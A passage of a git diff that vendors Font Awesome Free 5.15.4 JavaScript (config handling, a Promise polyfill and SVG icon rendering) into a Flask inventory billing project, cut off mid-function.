namespace.hooks, { + addPack: function addPack(prefix, icons) { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, icons); + build(); + autoReplace(); + }, + addShims: function addShims(shims) { + var _namespace$shims; + + (_namespace$shims = namespace.shims).push.apply(_namespace$shims, _toConsumableArray(shims)); + + build(); + autoReplace(); + } + }); + } + + bunker(bootstrap); + +}()); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/fontawesome.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/fontawesome.min.js new file mode 100644 index 00000000..63e9b062 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/fontawesome.min.js @@ -0,0 +1,1269 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +!function() { + "use strict"; + function r(t) { + return (r = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(t) { + return typeof t; + } : function(t) { + return t && "function" == typeof Symbol && t.constructor === Symbol && t !== Symbol.prototype ? "symbol" : typeof t; + })(t); + } + function i(t, n) { + for (var e = 0; e < n.length; e++) { + var a = n[e]; + a.enumerable = a.enumerable || !1, a.configurable = !0, "value" in a && (a.writable = !0), + Object.defineProperty(t, a.key, a); + } + } + function $(r) { + for (var t = 1; t < arguments.length; t++) { + var i = null != arguments[t] ? arguments[t] : {}, n = Object.keys(i); + "function" == typeof Object.getOwnPropertySymbols && (n = n.concat(Object.getOwnPropertySymbols(i).filter(function(t) { + return Object.getOwnPropertyDescriptor(i, t).enumerable; + }))), n.forEach(function(t) { + var n, e, a; + n = r, a = i[e = t], e in n ? Object.defineProperty(n, e, { + value: a, + enumerable: !0, + configurable: !0, + writable: !0 + }) : n[e] = a; + }); + } + return r; + } + function p(t, n) { + return function(t) { + if (Array.isArray(t)) return t; + }(t) || function(t, n) { + var e = [], a = !0, r = !1, i = void 0; + try { + for (var o, c = t[Symbol.iterator](); !(a = (o = c.next()).done) && (e.push(o.value), + !n || e.length !== n); a = !0) ; + } catch (t) { + r = !0, i = t; + } finally { + try { + a || null == c.return || c.return(); + } finally { + if (r) throw i; + } + } + return e; + }(t, n) || function() { + throw new TypeError("Invalid attempt to destructure non-iterable instance"); + }(); + } + function d(t) { + return function(t) { + if (Array.isArray(t)) { + for (var n = 0, e = new Array(t.length); n < t.length; n++) e[n] = t[n]; + return e; + } + }(t) || function(t) { + if (Symbol.iterator in Object(t) || "[object Arguments]" === Object.prototype.toString.call(t)) return Array.from(t); + }(t) || function() { + throw new TypeError("Invalid attempt to spread non-iterable instance"); + }(); + } + var t = function() {}, n = {}, e = {}, a = null, o = { + mark: t, + measure: t + }; + try { + "undefined" != typeof window && (n = window), "undefined" != typeof document && (e = document), + "undefined" != typeof MutationObserver && (a = MutationObserver), "undefined" != typeof performance && (o = performance); + } catch (t) {} + var c = (n.navigator || {}).userAgent, s = void 0 === c ? "" : c, v = n, b = e, l = a, f = o, u = !!v.document, m = !!b.documentElement && !!b.head && "function" == typeof b.addEventListener && "function" == typeof b.createElement, k = ~s.indexOf("MSIE") || ~s.indexOf("Trident/"), h = "___FONT_AWESOME___", A = 16, g = "fa", y = "svg-inline--fa", tt = "data-fa-i2svg", w = "data-fa-pseudo-element", x = "data-fa-pseudo-element-pending", C = "data-prefix", M = "data-icon", O = "fontawesome-i2svg", P = "async", S = [ "HTML", "HEAD", "STYLE", "SCRIPT" ], N = function() { + try { + return !1; + } catch (t) { + return !1; + } + }(), z = { + fas: "solid", + far: "regular", + fal: "light", + fad: "duotone", + fab: "brands", + fak: "kit", + fa: "solid" + }, E = { + solid: "fas", + regular: "far", + light: "fal", + duotone: "fad", + brands: "fab", + kit: "fak" + }, I = "fa-layers-text", j = /Font Awesome ([5 ]*)(Solid|Regular|Light|Duotone|Brands|Free|Pro|Kit).*/i, L = { + 900: "fas", + 400: "far", + normal: "far", + 300: "fal" + }, R = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ], T = R.concat([ 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 ]), _ = [ "class", "data-prefix", "data-icon", "data-fa-transform", "data-fa-mask" ], D = { + GROUP: "group", + SWAP_OPACITY: "swap-opacity", + PRIMARY: "primary", + SECONDARY: "secondary" + }, Y = [ "xs", "sm", "lg", "fw", "ul", "li", "border", "pull-left", "pull-right", "spin", "pulse", "rotate-90", "rotate-180", "rotate-270", "flip-horizontal", "flip-vertical", "flip-both", "stack", "stack-1x", "stack-2x", "inverse", "layers", "layers-text", "layers-counter", D.GROUP, D.SWAP_OPACITY, D.PRIMARY, D.SECONDARY ].concat(R.map(function(t) { + return "".concat(t, "x"); + })).concat(T.map(function(t) { + return "w-".concat(t); + })), H = v.FontAwesomeConfig || {}; + if (b && "function" == typeof b.querySelector) { + [ [ "data-family-prefix", "familyPrefix" ], [ "data-replacement-class", "replacementClass" ], [ "data-auto-replace-svg", "autoReplaceSvg" ], [ "data-auto-add-css", "autoAddCss" ], [ "data-auto-a11y", "autoA11y" ], [ "data-search-pseudo-elements", "searchPseudoElements" ], [ "data-observe-mutations", "observeMutations" ], [ "data-mutate-approach", "mutateApproach" ], [ "data-keep-original-source", "keepOriginalSource" ], [ "data-measure-performance", "measurePerformance" ], [ "data-show-missing-icons", "showMissingIcons" ] ].forEach(function(t) { + var n, e = p(t, 2), a = e[0], r = e[1], i = "" === (n = function(t) { + var n = b.querySelector("script[" + t + "]"); + if (n) return n.getAttribute(t); + }(a)) || "false" !== n && ("true" === n || n); + null != i && (H[r] = i); + }); + } + var F = $({}, { + familyPrefix: g, + replacementClass: y, + autoReplaceSvg: !0, + autoAddCss: !0, + autoA11y: !0, + searchPseudoElements: !1, + observeMutations: !0, + mutateApproach: "async", + keepOriginalSource: !0, + measurePerformance: !1, + showMissingIcons: !0 + }, H); + F.autoReplaceSvg || (F.observeMutations = !1); + var nt = $({}, F); + v.FontAwesomeConfig = nt; + var X = v || {}; + X[h] || (X[h] = {}), X[h].styles || (X[h].styles = {}), X[h].hooks || (X[h].hooks = {}), + X[h].shims || (X[h].shims = []); + var B = X[h], U = [], W = !1; + function q(t) { + m && (W ? setTimeout(t, 0) : U.push(t)); + } + m && ((W = (b.documentElement.doScroll ? /^loaded|^c/ : /^loaded|^i|^c/).test(b.readyState)) || b.addEventListener("DOMContentLoaded", function t() { + b.removeEventListener("DOMContentLoaded", t), W = 1, U.map(function(t) { + return t(); + }); + })); + var V, G = "pending", K = "settled", J = "fulfilled", Q = "rejected", Z = function() {}, et = "undefined" != typeof global && void 0 !== global.process && "function" == typeof global.process.emit, at = "undefined" == typeof setImmediate ? setTimeout : setImmediate, rt = []; + function it() { + for (var t = 0; t < rt.length; t++) rt[t][0](rt[t][1]); + V = !(rt = []); + } + function ot(t, n) { + rt.push([ t, n ]), V || (V = !0, at(it, 0)); + } + function ct(t) { + var n = t.owner, e = n._state, a = n._data, r = t[e], i = t.then; + if ("function" == typeof r) { + e = J; + try { + a = r(a); + } catch (t) { + ut(i, t); + } + } + st(i, a) || (e === J && lt(i, a), e === Q && ut(i, a)); + } + function st(n, e) { + var a; + try { + if (n === e) throw new TypeError("A promises callback cannot return that same promise."); + if (e && ("function" == typeof e || "object" === r(e))) { + var t = e.then; + if ("function" == typeof t) return t.call(e, function(t) { + a || (a = !0, e === t ? ft(n, t) : lt(n, t)); + }, function(t) { + a || (a = !0, ut(n, t)); + }), !0; + } + } catch (t) { + return a || ut(n, t), !0; + } + return !1; + } + function lt(t, n) { + t !== n && st(t, n) || ft(t, n); + } + function ft(t, n) { + t._state === G && (t._state = K, t._data = n, ot(mt, t)); + } + function ut(t, n) { + t._state === G && (t._state = K, t._data = n, ot(pt, t)); + } + function dt(t) { + t._then = t._then.forEach(ct); + } + function mt(t) { + t._state = J, dt(t); + } + function pt(t) { + t._state = Q, dt(t), !t._handled && et && global.process.emit("unhandledRejection", t._data, t); + } + function ht(t) { + global.process.emit("rejectionHandled", t); + } + function gt(t) { + if ("function" != typeof t) throw new TypeError("Promise resolver " + t + " is not a function"); + if (this instanceof gt == !1) throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function."); + this._then = [], function(t, n) { + function e(t) { + ut(n, t); + } + try { + t(function(t) { + lt(n, t); + }, e); + } catch (t) { + e(t); + } + }(t, this); + } + gt.prototype = { + constructor: gt, + _state: G, + _then: null, + _data: void 0, + _handled: !1, + then: function(t, n) { + var e = { + owner: this, + then: new this.constructor(Z), + fulfilled: t, + rejected: n + }; + return !n && !t || this._handled || (this._handled = !0, this._state === Q && et && ot(ht, this)), + this._state === J || this._state === Q ? ot(ct, e) : this._then.push(e), e.then; + }, + catch: function(t) { + return this.then(null, t); + } + }, gt.all = function(c) { + if (!Array.isArray(c)) throw new TypeError("You must pass an array to Promise.all()."); + return new gt(function(e, t) { + var a = [], r = 0; + function n(n) { + return r++, function(t) { + a[n] = t, --r || e(a); + }; + } + for (var i, o = 0; o < c.length; o++) (i = c[o]) && "function" == typeof i.then ? i.then(n(o), t) : a[o] = i; + r || e(a); + }); + }, gt.race = function(r) { + if (!Array.isArray(r)) throw new TypeError("You must pass an array to Promise.race()."); + return new gt(function(t, n) { + for (var e, a = 0; a < r.length; a++) (e = r[a]) && "function" == typeof e.then ? e.then(t, n) : t(e); + }); + }, gt.resolve = function(n) { + return n && "object" === r(n) && n.constructor === gt ? n : new gt(function(t) { + t(n); + }); + }, gt.reject = function(e) { + return new gt(function(t, n) { + n(e); + }); + }; + var vt = "function" == typeof Promise ? Promise : gt, bt = A, yt = { + size: 16, + x: 0, + y: 0, + rotate: 0, + flipX: !1, + flipY: !1 + }; + function wt(t) { + if (t && m) { + var n = b.createElement("style"); + n.setAttribute("type", "text/css"), n.innerHTML = t; + for (var e = b.head.childNodes, a = null, r = e.length - 1; -1 < r; r--) { + var i = e[r], o = (i.tagName || "").toUpperCase(); + -1 < [ "STYLE", "LINK" ].indexOf(o) && (a = i); + } + return b.head.insertBefore(n, a), t; + } + } + var xt = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + function kt() { + for (var t = 12, n = ""; 0 < t--; ) n += xt[62 * Math.random() | 0]; + return n; + } + function At(t) { + for (var n = [], e = (t || []).length >>> 0; e--; ) n[e] = t[e]; + return n; + } + function Ct(t) { + return t.classList ? At(t.classList) : (t.getAttribute("class") || "").split(" ").filter(function(t) { + return t; + }); + } + function Mt(t, n) { + var e, a = n.split("-"), r = a[0], i = a.slice(1).join("-"); + return r !== t || "" === i || (e = i, ~Y.indexOf(e)) ? null : i; + } + function Ot(t) { + return "".concat(t).replace(/&/g, "&").replace(/"/g, """).replace(/'/g, "'").replace(/</g, "<").replace(/>/g, ">"); + } + function Pt(e) { + return Object.keys(e || {}).reduce(function(t, n) { + return t + "".concat(n, ": ").concat(e[n], ";"); + }, ""); + } + function St(t) { + return t.size !== yt.size || t.x !== yt.x || t.y !== yt.y || t.rotate !== yt.rotate || t.flipX || t.flipY; + } + function Nt(t) { + var n = t.transform, e = t.containerWidth, a = t.iconWidth, r = { + transform: "translate(".concat(e / 2, " 256)") + }, i = "translate(".concat(32 * n.x, ", ").concat(32 * n.y, ") "), o = "scale(".concat(n.size / 16 * (n.flipX ? -1 : 1), ", ").concat(n.size / 16 * (n.flipY ? -1 : 1), ") "), c = "rotate(".concat(n.rotate, " 0 0)"); + return { + outer: r, + inner: { + transform: "".concat(i, " ").concat(o, " ").concat(c) + }, + path: { + transform: "translate(".concat(a / 2 * -1, " -256)") + } + }; + } + var zt = { + x: 0, + y: 0, + width: "100%", + height: "100%" + }; + function Et(t) { + var n = !(1 < arguments.length && void 0 !== arguments[1]) || arguments[1]; + return t.attributes && (t.attributes.fill || n) && (t.attributes.fill = "black"), + t; + } + function It(t) { + var n = t.icons, e = n.main, a = n.mask, r = t.prefix, i = t.iconName, o = t.transform, c = t.symbol, s = t.title, l = t.maskId, f = t.titleId, u = t.extra, d = t.watchable, m = void 0 !== d && d, p = a.found ? a : e, h = p.width, g = p.height, v = "fak" === r, b = v ? "" : "fa-w-".concat(Math.ceil(h / g * 16)), y = [ nt.replacementClass, i ? "".concat(nt.familyPrefix, "-").concat(i) : "", b ].filter(function(t) { + return -1 === u.classes.indexOf(t); + }).filter(function(t) { + return "" !== t || !!t; + }).concat(u.classes).join(" "), w = { + children: [], + attributes: $({}, u.attributes, { + "data-prefix": r, + "data-icon": i, + class: y, + role: u.attributes.role || "img", + xmlns: "http://www.w3.org/2000/svg", + viewBox: "0 0 ".concat(h, " ").concat(g) + }) + }, x = v && !~u.classes.indexOf("fa-fw") ? { + width: "".concat(h / g * 16 * .0625, "em") + } : {}; + m && (w.attributes[tt] = ""), s && w.children.push({ + tag: "title", + attributes: { + id: w.attributes["aria-labelledby"] || "title-".concat(f || kt()) + }, + children: [ s ] + }); + var k, A, C, M, O, P, S, N, z, E, I, j, L, R, T, _, D, Y, H, F, X, B, U, W, q, V, G, K = $({}, w, { + prefix: r, + iconName: i, + main: e, + mask: a, + maskId: l, + transform: o, + symbol: c, + styles: $({}, x, u.styles) + }), J = a.found && e.found ? (C = (k = K).children, M = k.attributes, O = k.main, + P = k.mask, S = k.maskId, N = k.transform, z = O.width, E = O.icon, I = P.width, + j = P.icon, L = Nt({ + transform: N, + containerWidth: I, + iconWidth: z + }), R = { + tag: "rect", + attributes: $({}, zt, { + fill: "white" + }) + }, T = E.children ? { + children: E.children.map(Et) + } : {}, _ = { + tag: "g", + attributes: $({}, L.inner), + children: [ Et($({ + tag: E.tag, + attributes: $({}, E.attributes, L.path) + }, T)) ] + }, D = { + tag: "g", + attributes: $({}, L.outer), + children: [ _ ] + }, Y = "mask-".concat(S || kt()), H = "clip-".concat(S || kt()), F = { + tag: "mask", + attributes: $({}, zt, { + id: Y, + maskUnits: "userSpaceOnUse", + maskContentUnits: "userSpaceOnUse" + }), + children: [ R, D ] + }, X = { + tag: "defs", + children: [ { + tag: "clipPath", + attributes: { + id: H + }, + children: (A = j, "g" === A.tag ? A.children : [ A ]) + }, F ] + }, C.push(X, { + tag: "rect", + attributes: $({ + fill: "currentColor", + "clip-path": "url(#".concat(H, ")"), + mask: "url(#".concat(Y, ")") + }, zt) + }), { + children: C, + attributes: M + }) : function(t) { + var n = t.children, e = t.attributes, a = t.main, r = t.transform, i = Pt(t.styles); + if (0 < i.length && (e.style = i), St(r)) { + var o = Nt({ + transform: r, + containerWidth: a.width, + iconWidth: a.width + }); + n.push({ + tag: "g", + attributes: $({}, o.outer), + children: [ { + tag: "g", + attributes: $({}, o.inner), + children: [ { + tag: a.icon.tag, + children: a.icon.children, + attributes: $({}, a.icon.attributes, o.path) + } ] + } ] + }); + } else n.push(a.icon); + return { + children: n, + attributes: e + }; + }(K), Q = J.children, Z = J.attributes; + return K.children = Q, K.attributes = Z, c ? (U = (B = K).prefix, W = B.iconName, + q = B.children, V = B.attributes, G = B.symbol, [ { + tag: "svg", + attributes: { + style: "display: none;" + }, + children: [ { + tag: "symbol", + attributes: $({}, V, { + id: !0 === G ? "".concat(U, "-").concat(nt.familyPrefix, "-").concat(W) : G + }), + children: q + } ] + } ]) : function(t) { + var n = t.children, e = t.main, a = t.mask, r = t.attributes, i = t.styles, o = t.transform; + if (St(o) && e.found && !a.found) { + var c = e.width / e.height / 2, s = .5; + r.style = Pt($({}, i, { + "transform-origin": "".concat(c + o.x / 16, "em ").concat(s + o.y / 16, "em") + })); + } + return [ { + tag: "svg", + attributes: r, + children: n + } ]; + }(K); + } + function jt(t) { + var n = t.content, e = t.width, a = t.height, r = t.transform, i = t.title, o = t.extra, c = t.watchable, s = void 0 !== c && c, l = $({}, o.attributes, i ? { + title: i + } : {}, { + class: o.classes.join(" ") + }); + s && (l[tt] = ""); + var f, u, d, m, p, h, g, v, b, y = $({}, o.styles); + St(r) && (y.transform = (u = (f = { + transform: r, + startCentered: !0, + width: e, + height: a + }).transform, d = f.width, m = void 0 === d ? A : d, p = f.height, h = void 0 === p ? A : p, + g = f.startCentered, b = "", b += (v = void 0 !== g && g) && k ? "translate(".concat(u.x / bt - m / 2, "em, ").concat(u.y / bt - h / 2, "em) ") : v ? "translate(calc(-50% + ".concat(u.x / bt, "em), calc(-50% + ").concat(u.y / bt, "em)) ") : "translate(".concat(u.x / bt, "em, ").concat(u.y / bt, "em) "), + b += "scale(".concat(u.size / bt * (u.flipX ? -1 : 1), ", ").concat(u.size / bt * (u.flipY ? -1 : 1), ") "), + b += "rotate(".concat(u.rotate, "deg) ")), y["-webkit-transform"] = y.transform); + var w = Pt(y); + 0 < w.length && (l.style = w); + var x = []; + return x.push({ + tag: "span", + attributes: l, + children: [ n ] + }), i && x.push({ + tag: "span", + attributes: { + class: "sr-only" + }, + children: [ i ] + }), x; + } + var Lt = function() {}, Rt = nt.measurePerformance && f && f.mark && f.measure ? f : { + mark: Lt, + measure: Lt + }, Tt = 'FA "5.15.4"', _t = function(t) { + Rt.mark("".concat(Tt, " ").concat(t, " ends")), Rt.measure("".concat(Tt, " ").concat(t), "".concat(Tt, " ").concat(t, " begins"), "".concat(Tt, " ").concat(t, " ends")); + }, Dt = { + begin: function(t) { + return Rt.mark("".concat(Tt, " ").concat(t, " begins")), function() { + return _t(t); + }; + }, + end: _t + }, Yt = function(t, n, e, a) { + var r, i, o, c, s, l = Object.keys(t), f = l.length, u = void 0 !== a ? (c = n, + s = a, function(t, n, e, a) { + return c.call(s, t, n, e, a); + }) : n; + for (o = void 0 === e ? (r = 1, t[l[0]]) : (r = 0, e); r < f; r++) o = u(o, t[i = l[r]], i, t); + return o; + }; + function Ht(t) { + for (var n = "", e = 0; e < t.length; e++) { + n += ("000" + t.charCodeAt(e).toString(16)).slice(-4); + } + return n; + } + var Ft = B.styles, Xt = B.shims, Bt = {}, Ut = {}, Wt = {}, qt = function() { + var t = function(a) { + return Yt(Ft, function(t, n, e) { + return t[e] = Yt(n, a, {}), t; + }, {}); + }; + Bt = t(function(t, n, e) { + return n[3] && (t[n[3]] = e), t; + }), Ut = t(function(n, t, e) { + var a = t[2]; + return n[e] = e, a.forEach(function(t) { + n[t] = e; + }), n; + }); + var i = "far" in Ft; + Wt = Yt(Xt, function(t, n) { + var e = n[0], a = n[1], r = n[2]; + return "far" !== a || i || (a = "fas"), t[e] = { + prefix: a, + iconName: r + }, t; + }, {}); + }; + function Vt(t, n) { + return (Bt[t] || {})[n]; + } + qt(); + var Gt = B.styles, Kt = function() { + return { + prefix: null, + iconName: null, + rest: [] + }; + }; + function Jt(t) { + return t.reduce(function(t, n) { + var e = Mt(nt.familyPrefix, n); + if (Gt[n]) t.prefix = n; else if (nt.autoFetchSvg && -1 < Object.keys(z).indexOf(n)) t.prefix = n; else if (e) { + var a = "fa" === t.prefix ? Wt[e] || { + prefix: null, + iconName: null + } : {}; + t.iconName = a.iconName || e, t.prefix = a.prefix || t.prefix; + } else n !== nt.replacementClass && 0 !== n.indexOf("fa-w-") && t.rest.push(n); + return t; + }, Kt()); + } + function Qt(t, n, e) { + if (t && t[n] && t[n][e]) return { + prefix: n, + iconName: e, + icon: t[n][e] + }; + } + function Zt(t) { + var e, n = t.tag, a = t.attributes, r = void 0 === a ? {} : a, i = t.children, o = void 0 === i ? [] : i; + return "string" == typeof t ? Ot(t) : "<".concat(n, " ").concat((e = r, Object.keys(e || {}).reduce(function(t, n) { + return t + "".concat(n, '="').concat(Ot(e[n]), '" '); + }, "").trim()), ">").concat(o.map(Zt).join(""), "</").concat(n, ">"); + } + var $t = function() {}; + function tn(t) { + return "string" == typeof (t.getAttribute ? t.getAttribute(tt) : null); + } + var nn = { + replace: function(t) { + var n = t[0], e = t[1].map(function(t) { + return Zt(t); + }).join("\n"); + if (n.parentNode && n.outerHTML) n.outerHTML = e + (nt.keepOriginalSource && "svg" !== n.tagName.toLowerCase() ? "\x3c!-- ".concat(n.outerHTML, " Font Awesome fontawesome.com --\x3e") : ""); else if (n.parentNode) { + var a = document.createElement("span"); + n.parentNode.replaceChild(a, n), a.outerHTML = e; + } + }, + nest: function(t) { + var n = t[0], e = t[1]; + if (~Ct(n).indexOf(nt.replacementClass)) return nn.replace(t); + var a = new RegExp("".concat(nt.familyPrefix, "-.*")); + delete e[0].attributes.style, delete e[0].attributes.id; + var r = e[0].attributes.class.split(" ").reduce(function(t, n) { + return n === nt.replacementClass || n.match(a) ? t.toSvg.push(n) : t.toNode.push(n), + t; + }, { + toNode: [], + toSvg: [] + }); + e[0].attributes.class = r.toSvg.join(" "); + var i = e.map(function(t) { + return Zt(t); + }).join("\n"); + n.setAttribute("class", r.toNode.join(" ")), n.setAttribute(tt, ""), n.innerHTML = i; + } + }; + function en(t) { + t(); + } + function an(e, t) { + var a = "function" == typeof t ? t : $t; + if (0 === e.length) a(); else { + var n = en; + nt.mutateApproach === P && (n = v.requestAnimationFrame || en), n(function() { + var t = !0 === nt.autoReplaceSvg ? nn.replace : nn[nt.autoReplaceSvg] || nn.replace, n = Dt.begin("mutate"); + e.map(t), n(), a(); + }); + } + } + var rn = !1; + function on() { + rn = !1; + } + var cn = null; + function sn(t) { + if (l && nt.observeMutations) { + var r = t.treeCallback, i = t.nodeCallback, o = t.pseudoElementsCallback, n = t.observeMutationsRoot, e = void 0 === n ? b : n; + cn = new l(function(t) { + rn || At(t).forEach(function(t) { + if ("childList" === t.type && 0 < t.addedNodes.length && !tn(t.addedNodes[0]) && (nt.searchPseudoElements && o(t.target), + r(t.target)), "attributes" === t.type && t.target.parentNode && nt.searchPseudoElements && o(t.target.parentNode), + "attributes" === t.type && tn(t.target) && ~_.indexOf(t.attributeName)) if ("class" === t.attributeName) { + var n = Jt(Ct(t.target)), e = n.prefix, a = n.iconName; + e && t.target.setAttribute("data-prefix", e), a && t.target.setAttribute("data-icon", a); + } else i(t.target); + }); + }), m && cn.observe(e, { + childList: !0, + attributes: !0, + characterData: !0, + subtree: !0 + }); + } + } + function ln(t) { + var n, e, a = t.getAttribute("data-prefix"), r = t.getAttribute("data-icon"), i = void 0 !== t.innerText ? t.innerText.trim() : "", o = Jt(Ct(t)); + return a && r && (o.prefix = a, o.iconName = r), o.prefix && 1 < i.length ? o.iconName = (n = o.prefix, + e = t.innerText, (Ut[n] || {})[e]) : o.prefix && 1 === i.length && (o.iconName = Vt(o.prefix, Ht(t.innerText))), + o; + } + var fn = function(t) { + var n = { + size: 16, + x: 0, + y: 0, + flipX: !1, + flipY: !1, + rotate: 0 + }; + return t ? t.toLowerCase().split(" ").reduce(function(t, n) { + var e = n.toLowerCase().split("-"), a = e[0], r = e.slice(1).join("-"); + if (a && "h" === r) return t.flipX = !0, t; + if (a && "v" === r) return t.flipY = !0, t; + if (r = parseFloat(r), isNaN(r)) return t; + switch (a) { + case "grow": + t.size = t.size + r; + break; + + case "shrink": + t.size = t.size - r; + break; + + case "left": + t.x = t.x - r; + break; + + case "right": + t.x = t.x + r; + break; + + case "up": + t.y = t.y - r; + break; + + case "down": + t.y = t.y + r; + break; + + case "rotate": + t.rotate = t.rotate + r; + } + return t; + }, n) : n; + }; + function un(t) { + var n, e, a, r, i, o, c, s, l = ln(t), f = l.iconName, u = l.prefix, d = l.rest, m = (n = t.getAttribute("style"), + e = [], n && (e = n.split(";").reduce(function(t, n) { + var e = n.split(":"), a = e[0], r = e.slice(1); + return a && 0 < r.length && (t[a] = r.join(":").trim()), t; + }, {})), e), p = fn(t.getAttribute("data-fa-transform")), h = null !== (a = t.getAttribute("data-fa-symbol")) && ("" === a || a), g = (i = At((r = t).attributes).reduce(function(t, n) { + return "class" !== t.name && "style" !== t.name && (t[n.name] = n.value), t; + }, {}), o = r.getAttribute("title"), c = r.getAttribute("data-fa-title-id"), nt.autoA11y && (o ? i["aria-labelledby"] = "".concat(nt.replacementClass, "-title-").concat(c || kt()) : (i["aria-hidden"] = "true", + i.focusable = "false")), i), v = (s = t.getAttribute("data-fa-mask")) ? Jt(s.split(" ").map(function(t) { + return t.trim(); + })) : Kt(); + return { + iconName: f, + title: t.getAttribute("title"), + titleId: t.getAttribute("data-fa-title-id"), + prefix: u, + transform: p, + symbol: h, + mask: v, + maskId: t.getAttribute("data-fa-mask-id"), + extra: { + classes: d, + styles: m, + attributes: g + } + }; + } + function dn(t) { + this.name = "MissingIcon", this.message = t || "Icon unavailable", this.stack = new Error().stack; + } + (dn.prototype = Object.create(Error.prototype)).constructor = dn; + var mn = { + fill: "currentColor" + }, pn = { + attributeType: "XML", + repeatCount: "indefinite", + dur: "2s" + }, hn = { + tag: "path", + attributes: $({}, mn, { + d: "M156.5,447.7l-12.6,29.5c-18.7-9.5-35.9-21.2-51.5-34.9l22.7-22.7C127.6,430.5,141.5,440,156.5,447.7z M40.6,272H8.5 c1.4,21.2,5.4,41.7,11.7,61.1L50,321.2C45.1,305.5,41.8,289,40.6,272z M40.6,240c1.4-18.8,5.2-37,11.1-54.1l-29.5-12.6 C14.7,194.3,10,216.7,8.5,240H40.6z M64.3,156.5c7.8-14.9,17.2-28.8,28.1-41.5L69.7,92.3c-13.7,15.6-25.5,32.8-34.9,51.5 L64.3,156.5z M397,419.6c-13.9,12-29.4,22.3-46.1,30.4l11.9,29.8c20.7-9.9,39.8-22.6,56.9-37.6L397,419.6z M115,92.4 c13.9-12,29.4-22.3,46.1-30.4l-11.9-29.8c-20.7,9.9-39.8,22.6-56.8,37.6L115,92.4z M447.7,355.5c-7.8,14.9-17.2,28.8-28.1,41.5 l22.7,22.7c13.7-15.6,25.5-32.9,34.9-51.5L447.7,355.5z M471.4,272c-1.4,18.8-5.2,37-11.1,54.1l29.5,12.6 c7.5-21.1,12.2-43.5,13.6-66.8H471.4z M321.2,462c-15.7,5-32.2,8.2-49.2,9.4v32.1c21.2-1.4,41.7-5.4,61.1-11.7L321.2,462z M240,471.4c-18.8-1.4-37-5.2-54.1-11.1l-12.6,29.5c21.1,7.5,43.5,12.2,66.8,13.6V471.4z M462,190.8c5,15.7,8.2,32.2,9.4,49.2h32.1 c-1.4-21.2-5.4-41.7-11.7-61.1L462,190.8z M92.4,397c-12-13.9-22.3-29.4-30.4-46.1l-29.8,11.9c9.9,20.7,22.6,39.8,37.6,56.9 L92.4,397z M272,40.6c18.8,1.4,36.9,5.2,54.1,11.1l12.6-29.5C317.7,14.7,295.3,10,272,8.5V40.6z M190.8,50 c15.7-5,32.2-8.2,49.2-9.4V8.5c-21.2,1.4-41.7,5.4-61.1,11.7L190.8,50z M442.3,92.3L419.6,115c12,13.9,22.3,29.4,30.5,46.1 l29.8-11.9C470,128.5,457.3,109.4,442.3,92.3z M397,92.4l22.7-22.7c-15.6-13.7-32.8-25.5-51.5-34.9l-12.6,29.5 C370.4,72.1,384.4,81.5,397,92.4z" + }) + }, gn = $({}, pn, { + attributeName: "opacity" + }), vn = { + tag: "g", + children: [ hn, { + tag: "circle", + attributes: $({}, mn, { + cx: "256", + cy: "364", + r: "28" + }), + children: [ { + tag: "animate", + attributes: $({}, pn, { + attributeName: "r", + values: "28;14;28;28;14;28;" + }) + }, { + tag: "animate", + attributes: $({}, gn, { + values: "1;0;1;1;0;1;" + }) + } ] + }, { + tag: "path", + attributes: $({}, mn, { + opacity: "1", + d: "M263.7,312h-16c-6.6,0-12-5.4-12-12c0-71,77.4-63.9,77.4-107.8c0-20-17.8-40.2-57.4-40.2c-29.1,0-44.3,9.6-59.2,28.7 c-3.9,5-11.1,6-16.2,2.4l-13.1-9.2c-5.6-3.9-6.9-11.8-2.6-17.2c21.2-27.2,46.4-44.7,91.2-44.7c52.3,0,97.4,29.8,97.4,80.2 c0,67.6-77.4,63.5-77.4,107.8C275.7,306.6,270.3,312,263.7,312z" + }), + children: [ { + tag: "animate", + attributes: $({}, gn, { + values: "1;0;0;0;0;1;" + }) + } ] + }, { + tag: "path", + attributes: $({}, mn, { + opacity: "0", + d: "M232.5,134.5l7,168c0.3,6.4,5.6,11.5,12,11.5h9c6.4,0,11.7-5.1,12-11.5l7-168c0.3-6.8-5.2-12.5-12-12.5h-23 C237.7,122,232.2,127.7,232.5,134.5z" + }), + children: [ { + tag: "animate", + attributes: $({}, gn, { + values: "0;0;1;1;0;0;" + }) + } ] + } ] + }, bn = B.styles; + function yn(t) { + var n = t[0], e = t[1], a = p(t.slice(4), 1)[0]; + return { + found: !0, + width: n, + height: e, + icon: Array.isArray(a) ? { + tag: "g", + attributes: { + class: "".concat(nt.familyPrefix, "-").concat(D.GROUP) + }, + children: [ { + tag: "path", + attributes: { + class: "".concat(nt.familyPrefix, "-").concat(D.SECONDARY), + fill: "currentColor", + d: a[0] + } + }, { + tag: "path", + attributes: { + class: "".concat(nt.familyPrefix, "-").concat(D.PRIMARY), + fill: "currentColor", + d: a[1] + } + } ] + } : { + tag: "path", + attributes: { + fill: "currentColor", + d: a + } + } + }; + } + function wn(a, r) { + return new vt(function(t, n) { + var e = { + found: !1, + width: 512, + height: 512, + icon: vn + }; + if (a && r && bn[r] && bn[r][a]) return t(yn(bn[r][a])); + a && r && !nt.showMissingIcons ? n(new dn("Icon is missing for prefix ".concat(r, " with icon name ").concat(a))) : t(e); + }); + } + var xn = B.styles; + function kn(t) { + var i, n, o, c, s, l, f, u, e, d, m, a = un(t); + return ~a.extra.classes.indexOf(I) ? function(t, n) { + var e = n.title, a = n.transform, r = n.extra, i = null, o = null; + if (k) { + var c = parseInt(getComputedStyle(t).fontSize, 10), s = t.getBoundingClientRect(); + i = s.width / c, o = s.height / c; + } + return nt.autoA11y && !e && (r.attributes["aria-hidden"] = "true"), vt.resolve([ t, jt({ + content: t.innerHTML, + width: i, + height: o, + transform: a, + title: e, + extra: r, + 